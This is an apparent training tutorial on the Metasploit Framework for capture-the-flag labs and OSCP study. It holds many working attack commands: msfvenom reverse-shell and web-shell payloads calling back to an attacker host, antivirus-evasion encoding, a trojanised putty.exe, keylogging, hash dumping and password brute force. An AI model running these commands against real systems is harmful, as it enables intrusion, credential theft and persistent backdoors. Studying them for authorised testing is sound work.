kavklaw@llm $ msfconsole -q
The Exploitation Framework — From Module Selection to Post-Exploitation Mastery
The Metasploit Framework (MSF) is the world's most widely used penetration testing and exploitation platform. Developed by Rapid7, it provides a massive library of verified exploits (code that takes advantage of vulnerabilities), payloads (code that runs on the target after a successful exploit), auxiliary modules, and post-exploitation tools, all accessible through a unified command-line interface called msfconsole.
Think of Metasploit as a Swiss Army knife for hackers: instead of manually writing exploit code for every vulnerability you find, Metasploit packages thousands of exploits into ready-to-use modules. You select the exploit, configure the target, choose a payload, and fire. But understanding what Metasploit does behind the scenes is what separates competent pentesters from button-pushers.
Metasploit comes in two editions:
Metasploit Framework comes pre-installed on Kali Linux and Parrot OS. For other systems, Rapid7 provides an official installer:
# Kali/Parrot — already installed. Just update:
sudo apt update && sudo apt install metasploit-framework
# Other Linux — use the Rapid7 installer script:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall && sudo ./msfinstall
# First-time database setup (PostgreSQL — stores hosts, creds, loot)
sudo msfdb init
# Verify everything works
msfconsole -q -x "db_status; exit"
# Should show: "Connected to msf. Connection type: postgresql."
The msfdb init step is important — it creates a PostgreSQL database that tracks discovered hosts, services, credentials, and loot across your engagement. Without it, Metasploit still works but you lose the ability to query past scan data with hosts, services, and creds commands.
Here's the basic workflow: you start the Metasploit console, search for an exploit that matches a vulnerability you found, configure the target IP (RHOSTS) and your IP (LHOST, where the target connects back to you), then run the exploit. If successful, you get a shell on the target machine.
Start Metasploit:
msfconsole # Launch the console (msfdb init already done above)
Inside msfconsole — basic exploit workflow:
msf6 > search eternalblue
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > show options
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 10.10.10.40
msf6 exploit(ms17_010_eternalblue) > set LHOST 10.10.14.5
msf6 exploit(ms17_010_eternalblue) > run
That's it — if the target is vulnerable, you get a shell.
Before diving into commands, understanding Metasploit's architecture helps you navigate it efficiently:
Exploit modules follow a hierarchy: exploit/[os]/[service]/[vulnerability]
┌─────────────────────────────────────────────────────────────────┐
│ Metasploit Module Tree │
├──────────┬──────────────────────────────────────────────────────┤
│ exploits │ exploit/windows/smb/ms17_010_eternalblue │
│ │ exploit/linux/http/apache_mod_cgi_bash_env │
│ │ exploit/multi/handler ← catches incoming shells │
├──────────┼──────────────────────────────────────────────────────┤
│ auxiliary │ auxiliary/scanner/smb/smb_version │
│ │ auxiliary/scanner/http/dir_scanner │
│ │ auxiliary/server/capture/http │
├──────────┼──────────────────────────────────────────────────────┤
│ post │ post/windows/gather/hashdump │
│ │ post/linux/gather/enum_configs │
│ │ post/multi/manage/shell_to_meterpreter │
└──────────┴──────────────────────────────────────────────────────┘
The msfconsole is your primary interface. Here are the commands you'll use constantly:
Search for modules — the most important command:
msf6 > search eternalblue # By name
msf6 > search type:exploit smb # By type and keyword
msf6 > search cve:2021-44228 # By CVE number
msf6 > search platform:windows type:exploit rank:excellent
msf6 > search author:hdm type:exploit
Use a module, inspect it, and go back:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > use 0 # Use by search result number
msf6 exploit(ms17_010_eternalblue) > info # Description, authors, references, targets, options
msf6 exploit(ms17_010_eternalblue) > back # Deselect module
msf6 exploit(ms17_010_eternalblue) > show options
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 10.10.10.40 # Target
msf6 exploit(ms17_010_eternalblue) > set LHOST 10.10.14.5 # Your IP
msf6 exploit(ms17_010_eternalblue) > set LPORT 4444 # Your port
Set options globally (persists across modules):
msf6 > setg RHOSTS 10.10.10.40
msf6 > setg LHOST tun0 # Use interface name!
Choose a payload and target architecture:
msf6 exploit(ms17_010_eternalblue) > show payloads
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > show targets
msf6 exploit(ms17_010_eternalblue) > set TARGET 1
msf6 exploit(ms17_010_eternalblue) > unset RHOSTS # Clear an option
msf6 exploit(ms17_010_eternalblue) > show advanced # Timeouts, evasion, verbosity
msf6 exploit(ms17_010_eternalblue) > run # Run the exploit
msf6 exploit(ms17_010_eternalblue) > exploit # Same thing
msf6 exploit(ms17_010_eternalblue) > run -j # Run as a background job
msf6 exploit(ms17_010_eternalblue) > check # Test if vulnerable without exploiting
Not all modules support check — it tests if the target is vulnerable without actually exploiting it.
💡 Pro tip: Always useset LHOST tun0instead of hardcoding your IP address. Metasploit resolves interface names automatically, and your VPN IP changes between sessions.tun0is your HTB/THM VPN interface. Useeth0for local networks.
Payloads are the code that executes on the target after exploitation. Choosing the right payload is important:
Self-contained — the entire payload is in one piece. Simple but limited in size.
windows/exec — Execute a single commandlinux/x86/exec — Linux command executionwindows/adduser — Add a user accountNaming convention — the separator tells you the type:
windows/shell_reverse_tcp ← SINGLE (underscore between shell and reverse)
windows/shell/reverse_tcp ← STAGED (slash between shell and reverse)
Two-part payloads: the stager is small, just enough to establish a reverse connection (where the target connects back to you, giving you a command prompt) and download the stage (the full payload). This is how Meterpreter works.
┌──────────────────────────────────────────────────────────────┐
│ Staged vs Stageless │
│ │
│ STAGED (slash = two parts): │
│ windows/meterpreter/reverse_tcp │
│ ┌──────────┐ connect back ┌────────────────────┐ │
│ │ Stager │ ───────────────→ │ Your Listener │ │
│ │ (tiny) │ ←─────────────── │ sends Stage │ │
│ └──────────┘ download stage └────────────────────┘ │
│ │
│ STAGELESS (underscore = one piece): │
│ windows/meterpreter_reverse_tcp │
│ ┌────────────────┐ connect ┌────────────────────┐ │
│ │ Full Payload │ ─────────→ │ Your Listener │ │
│ │ (larger) │ │ ready to go │ │
│ └────────────────┘ └────────────────────┘ │
└──────────────────────────────────────────────────────────────┘
Staged payloads (note the extra /):
windows/meterpreter/reverse_tcp # Stager: reverse_tcp → downloads Meterpreter
windows/x64/meterpreter/reverse_https # Stager: reverse_https → downloads x64 Meterpreter
linux/x64/meterpreter/reverse_tcp # Linux Meterpreter
Stageless (inline) Meterpreter — no download needed. Larger binary but works even if the connection is unstable:
windows/meterpreter_reverse_tcp # Note: underscore, not slash
Meterpreter is Metasploit's advanced payload. It runs entirely in memory (never touches disk), supports encrypted communication, and provides dozens of built-in commands for post-exploitation.
System information:
meterpreter > sysinfo # OS, architecture, hostname
meterpreter > getuid # Current user (e.g., NT AUTHORITY\SYSTEM)
meterpreter > getpid # Current process ID
meterpreter > ps # List running processes
Privilege escalation — getsystem tries several built-in techniques (named pipe impersonation, token duplication) to escalate from a regular user to SYSTEM. It only works if you already have certain privileges like SeImpersonatePrivilege:
meterpreter > getsystem # Attempt to escalate to SYSTEM
Password hashes — requires SYSTEM privileges. SAM is the Security Account Manager, where Windows stores password hashes:
meterpreter > hashdump
# Output: Administrator:500:aad3b435...:31d6cfe0d16ae931b73c...:::
Drop to an OS shell (exit to return to Meterpreter):
meterpreter > shell
Run post-exploitation modules directly from Meterpreter:
meterpreter > run post/windows/gather/enum_logged_on_users
meterpreter > run post/multi/recon/local_exploit_suggester
File system navigation:
meterpreter > pwd # Print working directory
meterpreter > ls # List files
meterpreter > cd C:\\Users # Change directory
File transfer between your machine and the target:
meterpreter > upload /tmp/linpeas.sh /tmp/linpeas.sh
meterpreter > download C:\\Users\\Admin\\Desktop\\flag.txt /tmp/flag.txt
meterpreter > download C:\\Windows\\System32\\config\\SAM /tmp/SAM
File editing and search:
meterpreter > edit file.txt # Open in vim-like editor
meterpreter > cat file.txt # Read file contents
meterpreter > search -f *.txt -d C:\\Users # Search for files
Network information:
meterpreter > ipconfig # Network interfaces
meterpreter > arp # ARP table
meterpreter > netstat # Active connections
meterpreter > route # Routing table
Port forwarding — access internal services through the compromised host. After this, http://127.0.0.1:8080 on your machine reaches http://172.16.1.10:80 through the target:
meterpreter > portfwd add -l 8080 -p 80 -r 172.16.1.10
meterpreter > portfwd delete -l 8080 -p 80 -r 172.16.1.10
meterpreter > portfwd list # Show active forwards
Route through the session (for pivoting). Back in msfconsole — any Metasploit module can now target the internal network:
msf6 > route add 172.16.1.0/24 [session_id]
meterpreter > background # Background current session (or Ctrl+Z)
msf6 > sessions -l # List all sessions
msf6 > sessions -i 1 # Switch to session 1
msf6 > sessions -k 1 # Kill a session
Upgrade a basic shell to Meterpreter:
msf6 > sessions -u 1 # Upgrades shell session 1
# Or use the post module:
msf6 > use post/multi/manage/shell_to_meterpreter
msf6 > set SESSION 1
msf6 > run
💡 Pro tip: After getting a Meterpreter session, immediately run run post/multi/recon/local_exploit_suggester. It checks the target for known privilege escalation vulnerabilities and tells you which Metasploit modules to use. This saves hours of manual enumeration.
windows/meterpreter/reverse_tcp and windows/meterpreter_reverse_tcp?meterpreter/reverse_tcp separates the stage (meterpreter) from the stager (reverse_tcp). The stager is small — just enough to connect back and download the full Meterpreter stage. The underscore version meterpreter_reverse_tcp is stageless — the entire payload is in one binary. Stageless is larger but more reliable if the connection is unstable.-p specifies the payload, -f exe sets the output format to a Windows executable, and -o shell.exe names the output file. Both LHOST and LPORT are required for reverse payloads. The handler you set up in msfconsole MUST match this exact payload string. Common formats include exe, dll, elf (Linux), raw (PHP/JSP), and war (Tomcat).local_exploit_suggester analyzes the target system and identifies which Metasploit privilege escalation modules are likely to work. It checks the OS version, installed patches, and configuration — then gives you a prioritized list of exploits to try. Always run this before manually hunting for privesc vectors. hashdump requires SYSTEM privileges first, and migrate is for stability, not escalation.The multi/handler is one of the most used modules in Metasploit. It's a generic listener that catches incoming connections from payloads you've deployed externally (via msfvenom, manual exploitation, etc.).
Basic handler setup:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST tun0
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run -j # Run as background job
For staged payloads: the handler MUST match the payload used in msfvenom exactly. If you generated windows/x64/meterpreter/reverse_tcp with msfvenom, the handler must use the same string.
HTTPS handlers (more stealthy):
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set LHOST tun0
msf6 exploit(multi/handler) > set LPORT 443
msf6 exploit(multi/handler) > set ExitOnSession false # Keep listening after connection
msf6 exploit(multi/handler) > run -j
msfvenom generates standalone payloads for use outside of Metasploit. Need a reverse shell binary to upload? A malicious DLL? A PHP webshell? msfvenom creates them.
Windows:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o shell.exe
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o shell.exe # Stageless
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll -o evil.dll # DLL hijacking
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe-service -o svc.exe
Linux:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o shell.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f python -b "\x00" # Shellcode for BOF
Web payloads:
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f raw -o shell.php # PHP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f raw -o shell.jsp # JSP (Tomcat/JBoss)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f asp -o shell.asp # ASP (IIS)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f war -o shell.war # WAR (Tomcat)
msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.5 LPORT=4444 -f raw # Python
Raw shellcode (for exploit development):
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f c -b "\x00"
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f python -b "\x00\x0a\x0d"
msfvenom --list encoders
Encode payload (basic AV evasion — not very effective against modern AV, but worth trying). Encoding transforms the payload's byte pattern to avoid signature detection. -e selects the encoder, -i sets iteration count (more iterations = more obfuscation but larger file):
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 \
-e x64/xor_dynamic -i 5 -f exe -o encoded.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 \
-e x86/shikata_ga_nai -i 10 -f exe -o encoded32.exe
Embed in a legitimate executable (template injection). -x sets the template, -k keeps original behavior:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 \
-x /path/to/putty.exe -k -f exe -o trojan_putty.exe
💡 Pro tip: Modern AV (Windows Defender, AMSI) catches most msfvenom payloads regardless of encoding. For AV evasion in real engagements, you need custom loaders, shellcode injection techniques, or tools like Sliver/Havoc. For CTFs and labs, basic msfvenom is usually fine since AV is often disabled.
Metasploit's database tracks hosts, services, vulnerabilities, and credentials across an engagement. Essential for organized pentesting.
Initialize and check database:
msfdb init # First-time setup
msf6 > db_status # Check connection
Import Nmap results — db_nmap runs Nmap and stores results automatically:
msf6 > db_nmap -sV -sC -p- 10.10.10.40
msf6 > db_import /path/to/nmap_scan.xml # Or import existing XML
Query stored data:
msf6 > hosts # List discovered hosts
msf6 > services # List discovered services
msf6 > services -p 445 # Filter by port
msf6 > vulns # Known vulnerabilities
msf6 > creds # Harvested credentials
msf6 > loot # Downloaded files/data
Create workspaces to separate engagements:
msf6 > workspace # List workspaces
msf6 > workspace -a client_pentest # Create new workspace
msf6 > workspace client_pentest # Switch workspace
msf6 > workspace -d old_project # Delete workspace
Auxiliary modules are incredibly useful for reconnaissance and service enumeration:
Scanners:
# SMB version scan
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > set RHOSTS 10.10.10.0/24
msf6 > run
# SMB share enumeration
msf6 > use auxiliary/scanner/smb/smb_enumshares
msf6 > set RHOSTS 10.10.10.40
msf6 > run
# HTTP directory scanner
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 > set RHOSTS 10.10.10.40
msf6 > run
# FTP anonymous login check
msf6 > use auxiliary/scanner/ftp/anonymous
msf6 > set RHOSTS 10.10.10.0/24
msf6 > run
Brute force:
# SSH brute force
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 > set RHOSTS 10.10.10.40
msf6 > set USER_FILE /usr/share/wordlists/users.txt
msf6 > set PASS_FILE /usr/share/wordlists/passwords.txt
msf6 > run
# HTTP login brute force
msf6 > use auxiliary/scanner/http/http_login
msf6 > set RHOSTS 10.10.10.40
msf6 > set TARGETURI /login
msf6 > run
# SMB login
msf6 > use auxiliary/scanner/smb/smb_login
msf6 > set RHOSTS 10.10.10.40
msf6 > set SMBUser admin
msf6 > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 > run
SNMP enumeration:
msf6 > use auxiliary/scanner/snmp/snmp_enum
msf6 > set RHOSTS 10.10.10.40
msf6 > run
Pivoting means using a compromised machine as a stepping stone to reach other machines on the network. When you compromise a host on the edge of a network, you can use it as a jump point to reach internal systems that aren't directly accessible from your machine.
Scenario:
You (10.10.14.5) ──→ Compromised Host (10.10.10.40 + 172.16.1.5) ──→ Target (172.16.1.10)
attacker dual-homed internal, unreachable
Step 1: Get Meterpreter on the compromised host (session 1).
Step 2: Add route through the session:
msf6 > route add 172.16.1.0/24 1 # Route internal network through session 1
Step 3: Now you can target internal machines — traffic flows through Session 1:
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 172.16.1.10
msf6 > set PORTS 22,80,443,445,3389
msf6 > run
Step 4: Use SOCKS proxy for non-Metasploit tools:
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > set VERSION 5
msf6 > run -j
Configure proxychains (/etc/proxychains4.conf): add socks5 127.0.0.1 1080, then use any tool through the pivot:
proxychains nmap -sT -Pn 172.16.1.10
proxychains curl http://172.16.1.10
Step 5: Autoroute (easier method) — automatically adds routes for all subnets the target can reach:
meterpreter > run autoroute -s 172.16.1.0/24
After getting a session, post modules help you escalate, enumerate, and persist:
Windows post-exploitation:
# Suggest local exploits for privilege escalation
msf6 > use post/multi/recon/local_exploit_suggester
msf6 > set SESSION 1
msf6 > run
# Dump hashes (requires SYSTEM)
msf6 > use post/windows/gather/hashdump
msf6 > set SESSION 1
msf6 > run
# Dump Kerberos tickets
msf6 > use post/windows/gather/credentials/kerberos_enum
msf6 > set SESSION 1
msf6 > run
# Enumerate logged-on users
msf6 > use post/windows/gather/enum_logged_on_users
msf6 > set SESSION 1
msf6 > run
# Enumerate installed applications
msf6 > use post/windows/gather/enum_applications
Meterpreter built-in post-exploitation:
meterpreter > keyscan_start # Start keylogger
meterpreter > keyscan_dump # Dump captured keystrokes
meterpreter > keyscan_stop # Stop keylogger
meterpreter > screenshot # Take a screenshot
Process migration — moves your Meterpreter code from the current process into another running process (e.g., explorer.exe). This is important because if the exploited process crashes or closes, your session dies. Migrating to a stable, long-running process keeps your session alive:
meterpreter > migrate -N explorer.exe # -N selects the target process by name
Linux post-exploitation:
msf6 > use post/linux/gather/enum_configs # Enumerate system configs
msf6 > set SESSION 1
msf6 > run
msf6 > use post/linux/gather/enum_network # Enumerate network info
msf6 > use post/linux/gather/checkcontainer # Check for container
msf6 > use post/multi/gather/ssh_creds # Gather SSH credentials
msfdb init, create a workspace for the engagementdb_nmap or db_import your existing Nmap scansservices — identify interesting ports and versionssearch by service name, CVE, or technologycheck when available to confirm vulnerabilitycreds, loot, notes — Metasploit tracks everythingUnderstanding when Metasploit is the right choice:
multi/handler to catch a Meterpreter shell for post-exploitation. Best of both worlds.💡 OSCP note: The OSCP exam restricts Metasploit use to one machine only. You can use multi/handler unlimited times, but exploit/auxiliary/post modules count. Save your Metasploit "ticket" for the hardest box. For everything else, exploit manually.
windows/meterpreter/reverse_tcp (staged) in msfvenom but setting up the handler for windows/meterpreter_reverse_tcp (stageless). They must match exactly.tun0 for VPN).sysinfo or systeminfo.migrate to a stable process like explorer.exe or svchost.exe.msfdb init means no database tracking. You lose all host/service/credential data when you close msfconsole.info and source code.search to find the right exploit module for your target, (2) use to select it, (3) configure options with set — RHOSTS (target), LHOST (your IP), LPORT, and PAYLOAD, (4) run or exploit to execute. Use show options after selecting a module to see what's required. Pro tip: use set LHOST tun0 instead of hardcoding your VPN IP.LHOST tun0 instead of your actual IP address?tun0 IP address changes every session. If you hardcode an IP like 10.10.14.5, you'll need to update it every time you reconnect. Setting LHOST tun0 tells Metasploit to resolve the current IP of the tun0 interface dynamically. Use eth0 for local network testing. This also works with setg for global configuration.db_import loads scan results from Nmap XML files into the Metasploit database. After importing, use hosts to see discovered systems, services to list discovered services, and vulns for known vulnerabilities. You can also run db_nmap to scan directly from within Metasploit with results automatically stored. Always use -oX or -oA in nmap so you have XML output to import.172.16.1.10:80 through the compromised host:portfwd add -l 8080 -p 80 -r 172.16.1.10 creates a port forward: your local port 8080 (-l) connects to remote host 172.16.1.10 (-r) on port 80 (-p) through the Meterpreter session. Now accessing http://127.0.0.1:8080 on your machine reaches the internal web server. This is essential for pivoting — accessing services on internal networks that your machine can't reach directly.exploit/multi/handler can be used unlimited times to catch reverse shells from msfvenom payloads. This is why the "hybrid approach" is popular: exploit manually, then catch a Meterpreter shell with multi/handler for post-exploitation features.